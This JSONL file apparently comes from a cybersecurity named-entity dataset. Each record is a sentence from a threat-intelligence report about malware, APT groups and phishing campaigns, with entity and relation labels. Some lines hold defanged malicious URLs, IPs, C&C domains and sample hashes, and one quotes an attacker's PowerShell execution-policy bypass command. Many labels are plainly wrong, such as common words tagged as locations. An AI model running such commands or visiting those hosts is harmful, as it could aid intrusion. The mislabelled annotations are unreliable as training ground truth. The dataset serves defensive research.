{"id":13234,"text":" Attack Chain Figure 1. Attack chain of Tropic Trooper\u2019s operations","entities":[],"relations":[],"Comments":[]}
{"id":495,"text":"And when they install these malicious apps, they don\u2019t have to ask for the \u201cdraw on top\u201d permission.","entities":[],"relations":[],"Comments":[]}
{"id":9001,"text":"One of the rshell samples had center[.]veryssl[.]org as the C&C.","entities":[],"relations":[],"Comments":[]}
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{"id":2294,"text":" Recent sha256 hashes of malware samples:","entities":[],"relations":[],"Comments":[]}
{"id":13029,"text":"Recently observed COLDRIVER credential phishing domains: Ghostwriter, a Belarusian threat actor, recently introduced a new capability into their credential phishing campaigns.","entities":[{"id":48866,"label":"campaign","start_offset":18,"end_offset":28},{"id":48867,"label":"attack-pattern","start_offset":28,"end_offset":48},{"id":48868,"label":"threat-actor","start_offset":57,"end_offset":68},{"id":48869,"label":"location","start_offset":72,"end_offset":83},{"id":48870,"label":"attack-pattern","start_offset":145,"end_offset":164}],"relations":[{"id":485,"from_id":48866,"to_id":48867,"type":"uses"}],"Comments":[]}
{"id":4407,"text":"The browser then navigates to Gmail to begin the data collection.","entities":[],"relations":[],"Comments":[]}
{"id":1327,"text":"While not a distinct TTP, the author of this malware may be a soap-opera fan.","entities":[],"relations":[],"Comments":[]}
{"id":6939,"text":"     Figure 6.","entities":[],"relations":[],"Comments":[]}
{"id":3441,"text":"Palo Alto Networks Next Generation Firewall Threat Prevention customers are protected with Signature 92570.","entities":[{"id":49206,"label":"identity","start_offset":0,"end_offset":18}],"relations":[],"Comments":[]}
{"id":9617,"text":"In the meantime, we encourage high risk users to enroll in our Advanced Protection Program (APP) and utilize Google Account Level Enhanced Safe Browsing to ensure they have the greatest level of protection in the face of ongoing threats.","entities":[{"id":29459,"label":"location","start_offset":72,"end_offset":82},{"id":29460,"label":"location","start_offset":97,"end_offset":100},{"id":29461,"label":"threat-actor","start_offset":139,"end_offset":143},{"id":29462,"label":"location","start_offset":195,"end_offset":205}],"relations":[],"Comments":[]}
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{"id":9059,"text":"   Figure 6. C\/C++ version of RATANKBA  Figure 7. Powershell version of RATANKBA Profile of the Attackers","entities":[{"id":27974,"label":"attack-pattern","start_offset":50,"end_offset":60},{"id":27975,"label":"tools","start_offset":72,"end_offset":80}],"relations":[],"Comments":[]}
{"id":7864,"text":"If the device is running Android 4.2.2 or above (approximately 54.3% of active devices) it uses ADB authentication.","entities":[],"relations":[],"Comments":[]}
{"id":1678,"text":" At this time the tool works against the latest version of NetWire, 1.5c.","entities":[{"id":4979,"label":"malware","start_offset":59,"end_offset":66}],"relations":[],"Comments":[]}
{"id":4200,"text":"Account Discovery: Domain Account T1482 Domain Trust Discovery T1083 File and Directory Discovery Collection T1005 Data from Local System Command and control  T1071.001","entities":[{"id":50008,"label":"attack-pattern","start_offset":69,"end_offset":114},{"id":50006,"label":"attack-pattern","start_offset":0,"end_offset":39},{"id":50007,"label":"attack-pattern","start_offset":40,"end_offset":68},{"id":50009,"label":"attack-pattern","start_offset":115,"end_offset":168}],"relations":[],"Comments":[]}
{"id":13625,"text":"At the end, the last payload of this infection chain is a variant of a Gh0st RAT.","entities":[{"id":51713,"label":"malware","start_offset":71,"end_offset":80}],"relations":[],"Comments":[]}
{"id":3842,"text":"Instead of just one new variant, we discovered four different versions of ANEL:  5.0.0 beta1 5.1.1 rc 5.1.2 rc1 5.2.0 rev1  The different versions contain changes in the ANEL loader and the main ANEL DLL.","entities":[{"id":11645,"label":"malware","start_offset":74,"end_offset":78},{"id":11648,"label":"malware","start_offset":195,"end_offset":199},{"id":11646,"label":"malware","start_offset":170,"end_offset":174}],"relations":[],"Comments":[]}
{"id":1753,"text":"Yu later demonstrated his research at CanSecWest in March.","entities":[{"id":46905,"label":"identity","start_offset":0,"end_offset":2}],"relations":[],"Comments":[]}
{"id":13730,"text":"A typical Waterbear infection chain","entities":[{"id":42692,"label":"malware","start_offset":10,"end_offset":19}],"relations":[],"Comments":[]}
{"id":7217,"text":"Injected Script in 17 July 2018 hxxp:\/\/aega[.]co[.]kr\/mall\/skin\/skin.php","entities":[],"relations":[],"Comments":[]}
{"id":2007,"text":" The ransom note was modified between the observed samples.","entities":[],"relations":[],"Comments":[]}
{"id":11897,"text":"The victim would need to have a session open on these websites from Safari for cookies to be successfully exfiltrated.","entities":[],"relations":[],"Comments":[]}
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{"id":1621,"text":"It does this in three ways:","entities":[],"relations":[],"Comments":[]}
{"id":14376,"text":"A smart colleague turned me onto using the % of endpoints and servers managed as a prime security metric.","entities":[],"relations":[],"Comments":[]}
{"id":3861,"text":"When the user opens the document DDEAUTO or Link Auto Update, Office will display a message.","entities":[{"id":49724,"label":"SOFTWARE","start_offset":62,"end_offset":68}],"relations":[],"Comments":[]}
{"id":1075,"text":"Fortunately, the latest version of Android is immune from these attacks \u201cout of the box.\u201d","entities":[{"id":46557,"label":"SOFTWARE","start_offset":35,"end_offset":42}],"relations":[],"Comments":[]}
{"id":4894,"text":"The phishing typically started with a customized email introducing the company and its products.","entities":[{"id":50910,"label":"attack-pattern","start_offset":4,"end_offset":12}],"relations":[],"Comments":[]}
{"id":5679,"text":"To add resilience to their infrastructure, the operators have also implemented a backup mechanism using the Bitcoin blockchain.","entities":[],"relations":[],"Comments":[]}
{"id":9868,"text":"It provides a comprehensive defense tailored to protect organizations against targeted attacks and advanced threats through specialized engines, custom sandboxing, and seamless correlation across the entire attack lifecycle, allowing it to detect threats like TICK\u2019s attacks even without any engine or pattern update.","entities":[{"id":30081,"label":"location","start_offset":95,"end_offset":98},{"id":30082,"label":"location","start_offset":164,"end_offset":167},{"id":30083,"label":"threat-actor","start_offset":260,"end_offset":264}],"relations":[],"Comments":[]}
{"id":156,"text":"Even though Microsoft Windows today features a robust user access control system, that system has inherent limitations.","entities":[{"id":44608,"label":"SOFTWARE","start_offset":12,"end_offset":29}],"relations":[],"Comments":[]}
{"id":98,"text":"Obviously, many organizations are moving quickly to the cloud and, as such, need to be thinking about how to secure it.","entities":[],"relations":[],"Comments":[]}
{"id":13430,"text":"Since our last update, TAG has observed a continuously growing number of threat actors using the war as a lure in phishing and malware campaigns.","entities":[{"id":41799,"label":"location","start_offset":97,"end_offset":100},{"id":41800,"label":"location","start_offset":106,"end_offset":110},{"id":41801,"label":"attack-pattern","start_offset":114,"end_offset":122},{"id":41802,"label":"location","start_offset":123,"end_offset":126}],"relations":[],"Comments":[]}
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{"id":13616,"text":"This patched file contains one new section called .newimp (new import), which adds a new import item with a reference to the oplib.dll library.","entities":[{"id":51706,"label":"FILEPATH","start_offset":125,"end_offset":134}],"relations":[],"Comments":[]}
{"id":3966,"text":"Ensure proper vulnerability patches are applied for public-facing applications, such as Apache Tomcat, Oracle Web Logic Server, Microsoft Exchange Server, and PHPMyAdmin.","entities":[{"id":49827,"label":"SOFTWARE","start_offset":128,"end_offset":153},{"id":49826,"label":"SOFTWARE","start_offset":103,"end_offset":126},{"id":49825,"label":"SOFTWARE","start_offset":88,"end_offset":101},{"id":49828,"label":"SOFTWARE","start_offset":159,"end_offset":169}],"relations":[],"Comments":[]}
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{"id":4166,"text":"Table 2. Encoded\/Decoded mutex string Encoded string Decoded string in Chinese English translation vul3ru,6q8 q8 y.3 \u5c0f\u5091\u8db4\u8db4\u8d70 Jack goes around ji394su3 \u6211\u611b\u4f60 I love you 5ji fu.6cl3g.3zj6m0694 \u684c\u7403\u597d\u624b\u798f\u539f\u611b Excellent table tennis player, Ai Fukuhara  Configuration style  ","entities":[],"relations":[],"Comments":[]}
{"id":11528,"text":"These credential phishing campaigns have ranged from targeting specific government organizations to AWS accounts to Gmail accounts.","entities":[{"id":35305,"label":"attack-pattern","start_offset":17,"end_offset":25}],"relations":[],"Comments":[]}
{"id":13553,"text":"If they are vulnerable to this XSS attack, these will be loaded when the victim (i.e., an administrator at the targeted merchant) opens the order within their management panel.","entities":[{"id":51629,"label":"attack-pattern","start_offset":31,"end_offset":34},{"id":51630,"label":"SOFTWARE","start_offset":159,"end_offset":175}],"relations":[],"Comments":[]}
{"id":14358,"text":"The ability to steal location and pictures was removed from its routine.","entities":[],"relations":[],"Comments":[]}
{"id":5235,"text":"It can also take screenshots and record audio, including calls.","entities":[],"relations":[],"Comments":[]}
{"id":273,"text":"Our Threat Prevention and Web Application and API Security products added coverage for the OctoberCMS vulnerability exploited in the WhisperGate attacks, and we released an XSOAR Playbook to help organizations hunt for this threat.","entities":[{"id":906,"label":"malware","start_offset":133,"end_offset":144},{"id":44671,"label":"campaign","start_offset":133,"end_offset":152},{"id":44672,"label":"SOFTWARE","start_offset":173,"end_offset":178},{"id":44670,"label":"vulnerability","start_offset":91,"end_offset":115}],"relations":[{"id":10,"from_id":44671,"to_id":44670,"type":"delivers"}],"Comments":[]}
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{"id":5780,"text":"Ed Cabrera, Chief Cybersecurity Officer:","entities":[],"relations":[],"Comments":[]}
{"id":6105,"text":"Interestingly, \u201c\/p\/pthon\u201d, which is the project page used by some of the newly discovered samples detailed later in this blog, is the only page with the encoded command not included in the summary and is instead in text only on the page itself.","entities":[{"id":18878,"label":"tools","start_offset":48,"end_offset":52},{"id":18879,"label":"location","start_offset":134,"end_offset":138},{"id":18880,"label":"malware","start_offset":139,"end_offset":143},{"id":18881,"label":"location","start_offset":197,"end_offset":200},{"id":18882,"label":"location","start_offset":220,"end_offset":224},{"id":18883,"label":"tools","start_offset":232,"end_offset":236}],"relations":[],"Comments":[]}
{"id":3563,"text":"The generated assembly module property","entities":[],"relations":[],"Comments":[]}
{"id":238,"text":"Below we share some interesting case studies.","entities":[],"relations":[],"Comments":[]}
{"id":617,"text":"And we expect to continue to see Hancitor be a global threat for the foreseeable future.","entities":[{"id":46213,"label":"malware","start_offset":33,"end_offset":41}],"relations":[],"Comments":[]}
{"id":4641,"text":"Earlier versions contained the option to request data from Google Takeout, a feature which allows users to export their data to a downloadable archive file.","entities":[{"id":50560,"label":"SOFTWARE","start_offset":59,"end_offset":73}],"relations":[],"Comments":[]}
{"id":7106,"text":"The references to \u201cHidden\u201d are related to the rootkit itself.","entities":[{"id":22254,"label":"location","start_offset":27,"end_offset":30},{"id":22255,"label":"attack-pattern","start_offset":46,"end_offset":53}],"relations":[],"Comments":[]}
{"id":5876,"text":"Are they really just uniform soldiers behind keyboards?","entities":[{"id":18075,"label":"location","start_offset":0,"end_offset":3},{"id":18076,"label":"identity","start_offset":16,"end_offset":20}],"relations":[],"Comments":[]}
{"id":2090,"text":"While the ransomware functionality is nothing new, during our research, following the lines, we found out the ransomware is most likely developed by a threat actor named x4k.","entities":[{"id":47220,"label":"threat-actor","start_offset":170,"end_offset":173}],"relations":[],"Comments":[]}
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{"id":3776,"text":" Additionally, all encountered URLs have been flagged as malware within PAN-DB, the Advanced URL Filtering URL database.","entities":[],"relations":[],"Comments":[]}
{"id":3997,"text":"The Cybersecurity and Infrastructure Security Agency (CISA) recently issued an alert regarding an advanced persistent threat (APT) compromising government agencies, critical infrastructures, and private sector organizations.","entities":[{"id":49853,"label":"identity","start_offset":4,"end_offset":59}],"relations":[],"Comments":[]}
{"id":7183,"text":"We already notified the websites about the compromise.","entities":[],"relations":[],"Comments":[]}
{"id":3081,"text":"This post is also available in:      \u65e5\u672c\u8a9e (Japanese)  Bottom line","entities":[],"relations":[],"Comments":[]}
{"id":13900,"text":" Exfiltration  As is common practice with double extortion ransomware, critical files are exfiltrated prior to the ransomware being launched.","entities":[],"relations":[],"Comments":[]}
{"id":33,"text":"Instead of seeking out specific targets, many criminals aim to infect as many systems as possible and then turn those infections into cash.","entities":[],"relations":[],"Comments":[]}
{"id":7655,"text":"The strongest evidence that this attack might not come from TA505 is that this attack operator used a different spam infrastructure.","entities":[],"relations":[],"Comments":[]}
{"id":3802,"text":"Function Purpose Affected MS Office Formats we found in the wild Automatic Dynamic Data Exchange (DDEAUTO) A legitimate Microsoft Office function used in an Office file to retrieve data from another Office file","entities":[{"id":49675,"label":"SOFTWARE","start_offset":120,"end_offset":136},{"id":49674,"label":"SOFTWARE","start_offset":26,"end_offset":35},{"id":49677,"label":"SOFTWARE","start_offset":199,"end_offset":205},{"id":49676,"label":"SOFTWARE","start_offset":157,"end_offset":163}],"relations":[],"Comments":[]}
{"id":8661,"text":"Examples of related Office documents uploaded to VirusTotal: https:\/\/www.virustotal.com\/gui\/file\/656d19186795280a068fcb97e7ef821b55ad3d620771d42ed98d22ee3c635e67\/detection https:\/\/www.virustotal.com\/gui\/file\/851bf4ab807fc9b29c9f6468c8c89a82b8f94e40474c6669f105bce91f278fdb\/detection","entities":[{"id":26744,"label":"URL","start_offset":61,"end_offset":171},{"id":26745,"label":"SHA1","start_offset":172,"end_offset":282}],"relations":[],"Comments":[]}
{"id":14258,"text":"Although Winnti may still be employing traditional malware, its use of a relatively unique tactic to stay ahead of the threat landscape\u2019s curve reflects the increased sophistication that threat actors are projected to employ.","entities":[{"id":48452,"label":"threat-actor","start_offset":9,"end_offset":16}],"relations":[],"Comments":[]}
{"id":7224,"text":"Like previous websites we\u2019ve seen set up by this actor, this website has a link to their PGP public key at the bottom of the page.","entities":[{"id":22574,"label":"location","start_offset":93,"end_offset":99},{"id":22575,"label":"malware","start_offset":125,"end_offset":129}],"relations":[],"Comments":[]}
{"id":2556,"text":"What our research is showing that\u2019s new is how the attackers use the credentials once they\u2019ve breached the network.","entities":[],"relations":[],"Comments":[]}
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{"id":1156,"text":"It's highly improbable that one would see the second mutex and make a concerted effort to make it appear \u201cless random\u201d.","entities":[],"relations":[],"Comments":[]}
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{"id":10155,"text":"Beginning in June 2017, phishing sites were set up mimicking the ADFS (Active Directory Federation Services) of the U.S. Senate.","entities":[{"id":30986,"label":"attack-pattern","start_offset":24,"end_offset":32},{"id":30987,"label":"location","start_offset":33,"end_offset":38}],"relations":[],"Comments":[]}
{"id":8904,"text":"When identifying PlugX and lateral movement techniques utilized in attacks, it\u2019s important to be able to determine anomalous events.","entities":[{"id":27514,"label":"malware","start_offset":17,"end_offset":22},{"id":27515,"label":"location","start_offset":23,"end_offset":26}],"relations":[],"Comments":[]}
{"id":7182,"text":"This reconnaissance lasted until 27 June.","entities":[],"relations":[],"Comments":[]}
{"id":2278,"text":"This finding sparked an investigation that led us to identify, with high confidence, multiple online services offered by the individuals operating the Glupteba botnet.","entities":[{"id":6777,"label":"malware","start_offset":151,"end_offset":159}],"relations":[],"Comments":[]}
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{"id":3557,"text":"Both of these tools are used in combination to provide an array of fully undetectable capabilities to the deployed njRat malware variant.","entities":[{"id":49340,"label":"malware","start_offset":115,"end_offset":120}],"relations":[],"Comments":[]}
{"id":5603,"text":"Code analysis shows that this malware sample can defeat the existing multi-factor verification procedures of many popular game platforms or online payment systems, and impersonate the smartphone user in making the purchase.","entities":[{"id":17230,"label":"tools","start_offset":0,"end_offset":13},{"id":17231,"label":"location","start_offset":38,"end_offset":44},{"id":17232,"label":"location","start_offset":45,"end_offset":48},{"id":17233,"label":"location","start_offset":109,"end_offset":113},{"id":17234,"label":"location","start_offset":164,"end_offset":167},{"id":17235,"label":"location","start_offset":214,"end_offset":222}],"relations":[],"Comments":[]}
{"id":4264,"text":"Interestingly, one of those keys, \u201cxldbszcd\u201d, was found in a file stealer used by Confucius (472ea4929c5e0fb4e29597311ed90a14c57bc67fbf26f81a3aac042aa3dccb55, Detected as TSPY_CONFSTEAL.A) as well as in two other file stealers.","entities":[{"id":50061,"label":"SHA2","start_offset":93,"end_offset":157},{"id":50062,"label":"malware","start_offset":171,"end_offset":187},{"id":50060,"label":"threat-actor","start_offset":82,"end_offset":91}],"relations":[{"id":909,"from_id":50061,"to_id":50062,"type":"indicates"},{"id":910,"from_id":50060,"to_id":50062,"type":"uses"}],"Comments":[]}
{"id":1322,"text":" When the malware starts, it writes the following registry key to ensure persistence:  The malware then proceeds to send an HTTP POST request with information about the victim system.","entities":[],"relations":[],"Comments":[]}
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{"id":12008,"text":"We blocked 1.6M messages to targets, displayed ~62K Safe Browsing phishing page warnings, blocked 2.4K files, and successfully restored ~4K accounts.","entities":[{"id":37146,"label":"location","start_offset":52,"end_offset":56},{"id":37147,"label":"attack-pattern","start_offset":66,"end_offset":74},{"id":37148,"label":"location","start_offset":75,"end_offset":79},{"id":37151,"label":"location","start_offset":110,"end_offset":113}],"relations":[],"Comments":[]}
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{"id":1246,"text":" We would like to thank Kyle Sanders for his contribution to this work.","entities":[{"id":46626,"label":"identity","start_offset":24,"end_offset":36}],"relations":[],"Comments":[]}
{"id":7020,"text":"While investigating Operation DRBControl in 2019, we found several connections to multiple threat actors:  Iron Tiger, which uses the HyperBro trojan and some infrastructure links Winnti, which uses the same infrastructure and code-sharing links detailed in our paper Bronze President, a threat actor that targets non-governmental organizations (NGOs).  ","entities":[{"id":22004,"label":"threat-actor","start_offset":107,"end_offset":117},{"id":22005,"label":"malware","start_offset":134,"end_offset":142},{"id":22006,"label":"location","start_offset":150,"end_offset":153},{"id":22007,"label":"malware","start_offset":180,"end_offset":186},{"id":22008,"label":"location","start_offset":203,"end_offset":207},{"id":22009,"label":"location","start_offset":223,"end_offset":226}],"relations":[],"Comments":[]}
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{"id":3356,"text":"As much as possible, it is recommended to download apps only from trusted sources and official websites to avoid being compromised by attacks such as the one discussed here.","entities":[],"relations":[],"Comments":[]}
{"id":13994,"text":"This is even more true when the group has existed for many years and has many pieces of evidence to compare.","entities":[],"relations":[],"Comments":[]}
{"id":3342,"text":"Information from the stolen certificates   2.      While checking the stolen certificates, we found a server-side variant of the Derusbi malware sample (e5fdb754c1a7c36c288c46765c9258bb2c7f38fa2a99188a623182f877da3783) that was signed with the same stolen certificate.","entities":[{"id":10119,"label":"SHA2","start_offset":153,"end_offset":217},{"id":48955,"label":"malware","start_offset":129,"end_offset":144}],"relations":[{"id":508,"from_id":10119,"to_id":48955,"type":"indicates"}],"Comments":[]}
{"id":186,"text":"These attacks have continued over the past week, impacting both the Ukrainian government and banking institutions.","entities":[{"id":44612,"label":"identity","start_offset":68,"end_offset":113}],"relations":[],"Comments":[]}
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{"id":4026,"text":"   More importantly, we believe the activities we observed are just the tip of the iceberg and their targets might be expanded to other industries that are related to transportation.","entities":[],"relations":[],"Comments":[]}
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{"id":6877,"text":"Google\u2019s Threat Analysis Group (TAG) is a specialized team of security experts that works to identify, report, and stop government-backed phishing and hacking against Google and the people who use our products.","entities":[{"id":21499,"label":"location","start_offset":62,"end_offset":70},{"id":21500,"label":"location","start_offset":111,"end_offset":114},{"id":21501,"label":"location","start_offset":115,"end_offset":119},{"id":21502,"label":"attack-pattern","start_offset":138,"end_offset":146},{"id":21503,"label":"location","start_offset":147,"end_offset":150},{"id":21505,"label":"location","start_offset":174,"end_offset":177}],"relations":[],"Comments":[]}
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{"id":4614,"text":"Overall, Microsoft released patches for 89 unique CVEs in March\u201414 of which were listed as Critical and 75 listed as Important in severity.","entities":[{"id":50519,"label":"identity","start_offset":9,"end_offset":18},{"id":50520,"label":"vulnerability","start_offset":40,"end_offset":54},{"id":50521,"label":"TIME","start_offset":58,"end_offset":66}],"relations":[],"Comments":[]}
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{"id":12434,"text":"If you have communicated with any of these accounts or visited the actors\u2019 blog, we suggest you review your systems for the IOCs provided below.","entities":[],"relations":[],"Comments":[]}
{"id":7141,"text":"However, traces of the exploitation of the Microsoft Exchange vulnerability CVE-2020-0688 were found.","entities":[],"relations":[],"Comments":[]}
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{"id":3672,"text":"     Figure 1. ATT&CK\u00ae tactics shared between Carbanak and FIN7      The following are the tactics and techniques that are employed by Carbanak and FIN7, as shared by MITRE.","entities":[{"id":49464,"label":"threat-actor","start_offset":135,"end_offset":143},{"id":49465,"label":"threat-actor","start_offset":148,"end_offset":152},{"id":49462,"label":"threat-actor","start_offset":46,"end_offset":54},{"id":49463,"label":"threat-actor","start_offset":59,"end_offset":63},{"id":49466,"label":"identity","start_offset":167,"end_offset":172}],"relations":[],"Comments":[]}
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{"id":478,"text":" You can also learn more about these new technologies and look at deploying them as an additional layer of protection.  ","entities":[],"relations":[],"Comments":[]}
{"id":2922,"text":" In our research posting \u201cLarge Scale Monero Cryptocurrency Mining Operation using XMRig\u201d we detail a new malware campaign that is global in scale, very large in the likely number of victims and uses well established techniques to mine the Monero cryptocurrency.","entities":[{"id":48092,"label":"SOFTWARE","start_offset":38,"end_offset":44},{"id":48094,"label":"SOFTWARE","start_offset":240,"end_offset":246},{"id":48093,"label":"tools","start_offset":83,"end_offset":88}],"relations":[],"Comments":[]}
{"id":7771,"text":"While the previous strings had the modified AmmyyAdmin binary since the source code was leaked, TA505 changed the strings in this sample to PopssAdmin.","entities":[{"id":24090,"label":"attack-pattern","start_offset":72,"end_offset":78},{"id":24092,"label":"location","start_offset":130,"end_offset":136}],"relations":[],"Comments":[]}
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{"id":5081,"text":"The campaign, consistent with Operation Dream Job, targeted over 250 individuals working for 10 different news media, domain registrars, web hosting providers and software vendors.","entities":[{"id":51188,"label":"campaign","start_offset":30,"end_offset":49}],"relations":[],"Comments":[]}
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{"id":4671,"text":"The program will delete any security emails from Google generated by the attacker\u2019s activity.","entities":[{"id":50574,"label":"identity","start_offset":49,"end_offset":55}],"relations":[],"Comments":[]}
{"id":6093,"text":"As part of our efforts to combat serious threat actors, we use results of our research to improve the safety and security of our products.","entities":[{"id":18829,"label":"tools","start_offset":102,"end_offset":108},{"id":18830,"label":"location","start_offset":109,"end_offset":112},{"id":18831,"label":"location","start_offset":113,"end_offset":121}],"relations":[],"Comments":[]}
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{"id":6465,"text":"The next command executed is the following: powershell.exe -exec bypass -w 1 -file a.ps1","entities":[],"relations":[],"Comments":[]}
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{"id":13939,"text":"But some ransomware actors have gone even further.","entities":[],"relations":[],"Comments":[]}
{"id":736,"text":"Dubbed OMIGOD, the four vulnerabilities were found to directly affect Azure Cloud Instances.","entities":[{"id":46327,"label":"vulnerability","start_offset":7,"end_offset":13},{"id":46328,"label":"SOFTWARE","start_offset":70,"end_offset":81}],"relations":[{"id":181,"from_id":46328,"to_id":46327,"type":"has"}],"Comments":[]}
{"id":2010,"text":" The ransomware creates an ID for the victim which has to be sent to the threat actor to make it possible to identify the victim and provide a decryptor.","entities":[],"relations":[],"Comments":[]}
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{"id":151,"text":"Once malware is running on the user\u2019s system, it seeks out and encrypts files and folders that hold information critical for the user, such as documents, business applications or even database files.","entities":[],"relations":[],"Comments":[]}
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{"id":4793,"text":"Any one government\u2019s ability to meaningfully impact this market is limited; only through a concerted international effort can this serious risk to online safety be mitigated.","entities":[],"relations":[],"Comments":[]}
{"id":2713,"text":"Once identified, they then craft a seemingly endless supply of exploits that leverage these vulnerabilities to deliver unknown malware and compromise networks and endpoints.","entities":[],"relations":[],"Comments":[]}
{"id":3858,"text":"After the execution of accevent.exe, it loads event.dll, which will be placed in the same folder (so it takes loading priority), after which event.dll decrypts and loads the encrypted backdoor ssssss.ddd, which is BKDR_ANEL.","entities":[{"id":49719,"label":"FILEPATH","start_offset":141,"end_offset":150},{"id":49717,"label":"FILEPATH","start_offset":23,"end_offset":35},{"id":49718,"label":"FILEPATH","start_offset":46,"end_offset":55},{"id":49720,"label":"FILEPATH","start_offset":193,"end_offset":203},{"id":49721,"label":"malware","start_offset":214,"end_offset":223}],"relations":[{"id":862,"from_id":49717,"to_id":49718,"type":"downloads"},{"id":863,"from_id":49720,"to_id":49721,"type":"duplicate-of"}],"Comments":[]}
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{"id":12347,"text":"Every malicious piece of this attack was hosted on legitimate services, making it harder for defenders to rely on network signals for detection.","entities":[],"relations":[],"Comments":[]}
{"id":9032,"text":"This RATANKBA backdoor is what is used to communicate with RATANKBA\u2019s Command-and-Control (C&C) server.","entities":[{"id":27904,"label":"malware","start_offset":5,"end_offset":13},{"id":27905,"label":"tools","start_offset":59,"end_offset":67},{"id":27906,"label":"location","start_offset":78,"end_offset":81}],"relations":[],"Comments":[]}
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{"id":2684,"text":" The operator of LockBit 2.0 has provided a comparative table speed showing the information stealer compared to other tools.","entities":[{"id":47892,"label":"threat-actor","start_offset":17,"end_offset":28},{"id":47893,"label":"attack-pattern","start_offset":80,"end_offset":99}],"relations":[],"Comments":[]}
{"id":13023,"text":"Here is a deeper look at the campaign activity TAG has observed over the past two weeks: Curious Gorge, a group TAG attributes to China's PLA SSF, has conducted campaigns against government and military organizations in Ukraine, Russia, Kazakhstan, and Mongolia.","entities":[{"id":48841,"label":"identity","start_offset":130,"end_offset":145},{"id":48843,"label":"location","start_offset":220,"end_offset":227},{"id":48840,"label":"threat-actor","start_offset":89,"end_offset":102},{"id":48842,"label":"identity","start_offset":112,"end_offset":116},{"id":48845,"label":"location","start_offset":237,"end_offset":247},{"id":48839,"label":"identity","start_offset":47,"end_offset":51},{"id":48844,"label":"location","start_offset":229,"end_offset":235},{"id":48846,"label":"location","start_offset":253,"end_offset":261}],"relations":[{"id":467,"from_id":48840,"to_id":48841,"type":"attributed-to"},{"id":468,"from_id":48840,"to_id":48843,"type":"duplicate-of"},{"id":469,"from_id":48840,"to_id":48844,"type":"duplicate-of"},{"id":470,"from_id":48840,"to_id":48845,"type":"duplicate-of"},{"id":471,"from_id":48840,"to_id":48846,"type":"duplicate-of"}],"Comments":[]}
{"id":1278,"text":" Three of the backdoors, NFlog, PoisonIvy, and NewCT have previously been publicly associated with DragonOK.","entities":[{"id":44962,"label":"malware","start_offset":25,"end_offset":30},{"id":44963,"label":"malware","start_offset":32,"end_offset":41},{"id":44964,"label":"malware","start_offset":47,"end_offset":52},{"id":44965,"label":"threat-actor","start_offset":99,"end_offset":107}],"relations":[{"id":48,"from_id":44962,"to_id":44965,"type":"authored-by"},{"id":47,"from_id":44963,"to_id":44965,"type":"authored-by"},{"id":46,"from_id":44964,"to_id":44965,"type":"authored-by"}],"Comments":[]}
{"id":6880,"text":"One notable campaign attempted to target personal accounts of U.S. government employees with phishing lures using American fast food franchises and COVID-19 messaging.","entities":[{"id":21511,"label":"location","start_offset":12,"end_offset":20},{"id":21512,"label":"location","start_offset":34,"end_offset":40},{"id":21514,"label":"attack-pattern","start_offset":93,"end_offset":101},{"id":21516,"label":"location","start_offset":144,"end_offset":147}],"relations":[],"Comments":[]}
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{"id":2044,"text":"The discovered samples are primarily Cobalt Strike Beacons, utilizing heavy control flow obfuscation \u2013 unlike the HelloXD ransomware samples we had previously seen.","entities":[{"id":47133,"label":"tools","start_offset":37,"end_offset":58},{"id":47134,"label":"malware","start_offset":114,"end_offset":121}],"relations":[],"Comments":[]}
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{"id":2745,"text":"All versions of PAN-OS and Panorama include the vulnerable version of Bash, but we\u2019ve determined the issue is only exploitable by authenticated users.","entities":[{"id":45683,"label":"SOFTWARE","start_offset":16,"end_offset":22},{"id":45684,"label":"SOFTWARE","start_offset":27,"end_offset":35},{"id":45685,"label":"SOFTWARE","start_offset":70,"end_offset":75}],"relations":[],"Comments":[]}
{"id":10428,"text":"At the dawn of the Fourth of July weekend, Kaseya has been hit with a ransomware attack, as reported in the company\u2019s own announcement.","entities":[{"id":31697,"label":"TIME","start_offset":3,"end_offset":41},{"id":31699,"label":"identity","start_offset":59,"end_offset":62}],"relations":[],"Comments":[]}
{"id":35,"text":"To understand where we are now, it helps to look at how we got here, and to look at the evolution of common cybercriminal activities.","entities":[],"relations":[],"Comments":[]}
{"id":14033,"text":"That information often gets stripped from binaries.","entities":[],"relations":[],"Comments":[]}
{"id":14175,"text":"The good news is that best practice cybersecurity advice does not need to change.","entities":[],"relations":[],"Comments":[]}
{"id":12539,"text":"This number was in the 200s when we obtained the exploit chain.","entities":[],"relations":[],"Comments":[]}
{"id":3036,"text":"The \u201cfirmware\u201d: this is the software that is on the physical device itself, like the actual router, the actual car or the actual DVR.","entities":[],"relations":[],"Comments":[]}
{"id":2401,"text":"The exploitation of this vulnerability could result in a webshell being installed onto the compromised server that allows further command execution.","entities":[],"relations":[],"Comments":[]}
{"id":10789,"text":"These benign versions of the application were created during the period from February 2020 until March 2021.","entities":[],"relations":[],"Comments":[]}
{"id":4981,"text":"These commands include recording audio, adding CA certificates, and hiding apps.","entities":[],"relations":[],"Comments":[]}
{"id":7727,"text":"In another routine, an Excel file attachment downloads the NSIS installer once the user enables the malicious macros from hxxp:\/\/109[.]234[.]37[.]15:80\/j1 or hxxp:\/\/169[.]239[.]128[.]170\/j1.","entities":[{"id":23997,"label":"malware","start_offset":59,"end_offset":63}],"relations":[],"Comments":[]}
{"id":12935,"text":"To protect our users, Google\u2019s Threat Analysis Group (TAG) routinely hunts for 0-day vulnerabilities exploited in-the-wild.","entities":[],"relations":[],"Comments":[]}
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{"id":10900,"text":"The domain name \u201cupn-sec3-msd[.]com\u201d was mentioned in another StrongPity report.","entities":[],"relations":[],"Comments":[]}
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{"id":1856,"text":"Checking for log4shell     We also observed more system network configuration discovery techniques being run, possibly for lateral movement as it tried looking for other available endpoints.","entities":[{"id":5440,"label":"attack-pattern","start_offset":49,"end_offset":87},{"id":46984,"label":"attack-pattern","start_offset":123,"end_offset":139}],"relations":[],"Comments":[]}
{"id":572,"text":"These three contribute 7.2% out of the total infected numbers we collected.","entities":[],"relations":[],"Comments":[]}
{"id":3459,"text":"Compared to when C&C information is embedded within the malware, where it\u2019s preset and can thus be easily blocked, this tactic lets Blackgear\u2019s operators to quickly change C&C servers as needed.","entities":[{"id":49249,"label":"threat-actor","start_offset":132,"end_offset":141}],"relations":[],"Comments":[]}
{"id":13933,"text":"As demonstrated by the recent activities of DarkSide, modern ransomware has changed in many aspects: bigger targets, more advanced extortion techniques, and farther-reaching consequences beyond the victims themselves.","entities":[{"id":43202,"label":"malware","start_offset":44,"end_offset":52}],"relations":[],"Comments":[]}
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{"id":8096,"text":"The apps have since been removed from Google Play.","entities":[],"relations":[],"Comments":[]}
